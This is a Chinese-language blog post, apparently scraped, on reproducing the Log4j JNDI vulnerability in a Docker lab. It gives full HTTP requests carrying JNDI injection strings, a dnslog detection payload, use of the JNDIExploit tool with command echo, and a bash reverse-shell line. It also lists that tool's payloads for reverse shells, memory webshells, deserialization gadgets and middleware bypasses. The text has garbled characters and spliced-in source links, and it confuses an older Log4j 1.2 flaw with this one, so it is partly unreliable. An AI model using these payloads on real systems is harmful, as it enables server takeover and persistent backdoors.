前言:
log4j被爆出“史詩級”漏洞。其危害非常大,影響非常廣。該漏洞非常容易利用,可以執(zhí)行任意代碼。這個漏洞的影響可謂是重量級的。
漏洞描述:
由于Apache Log4j存在遞歸解析功能,未取得身份認證的用戶,可以從遠程發(fā)送數(shù)據(jù)請求輸入數(shù)據(jù)日志,輕松觸發(fā)漏洞,最終在目標上執(zhí)行任意代碼。簡單點說,就是可以通過輸入一些具有特殊意義的字符來攻擊服務(wù)器。
如果入侵者在前端頁面上輸入了:${jndi:rmi://127.0.0.1:8080/evil} 這串字符, 然后后臺用log4j記錄了這串字符, log4j會自動使用jndi調(diào)用這個地址上的rmi內(nèi)容。如果這個rmi的內(nèi)容是刪除數(shù)據(jù)庫,重啟服務(wù)器這種惡意程序,被攻擊之后還是趁早跑路吧。(開個玩笑)
關(guān)于JNDI:
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調(diào)用JNDI的API應(yīng)用程序可以定位資源和其他程序?qū)ο?。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數(shù)據(jù)源),JNDI可訪問的現(xiàn)有的目錄及服務(wù)有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。
關(guān)于RMI:
RMI(remote method invocation)即遠程方法調(diào)用,是允許運行在一個java虛擬機上的對象調(diào)用運行在另外一個java虛擬機上的對象的方法,JAVA RMI實現(xiàn)JAVA程序之間跨越JVM的遠程通信。通過RMI可以讓調(diào)用遠程JVM上對象方法,仿佛調(diào)用本地JVM上對象方法一樣簡單、快捷。
log4j簡介
Apache Log4j是一個用于Java的日志記錄庫,其支持啟動遠程日志服務(wù)器。
Log4j 1.2 中包含一個 SocketServer 類,該類容易受到不可信數(shù)據(jù)反序列化的影響,當偵聽不可信網(wǎng)絡(luò)流量以獲取日志數(shù)據(jù)時,該類可被利用與反序列化小工具結(jié)合使用以遠程執(zhí)行任意代碼。攻擊者可利用該漏洞執(zhí)行任意代碼。
這會影響從?1.2
?到?2.14
?的 Log4j 版本。
log4j環(huán)境搭建
- log4漏洞環(huán)境搭建(需要docker)
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
漏洞檢測-dnslog
測試命令
${jndi:ldap://6zb6jy.dnslog.cn}
測試過程中,使用post數(shù)據(jù)包,添加Content-type:application/x-www-form-urlencoded
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E35340901
Content-type:application/x-www-form-urlencoded
Connection: close
Content-Length: 33
cmd:whoami
c=${jndi:ldap://6zb6jy.dnslog.cn}
dnslog平臺成功回顯,證明系統(tǒng)存在log4j漏洞
命令執(zhí)行
使用JNDI利用工具
java -jar JNDIExploit-1.3-SNAPSHOT-2.jar -i local_ip_address(vps地址)
header:Content-type: application/x-www-form-urlencoded文章來源:http://www.zghlxwxcb.cn/news/detail-491715.html
header:Content-type: application/x-www-form-urlencoded
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
cmd:whoami
cmd:bash -i >& /dev/tcp/0.0.0.0/2333 0>&1
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E3534090
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
cmd:whoami
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
成功執(zhí)行命令并回顯文章來源地址http://www.zghlxwxcb.cn/news/detail-491715.html
//JNDIExploit-1.3-SNAPSHOT-2.jar 工具存在的paylaod
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
到了這里,關(guān)于網(wǎng)絡(luò)安全 log4j漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!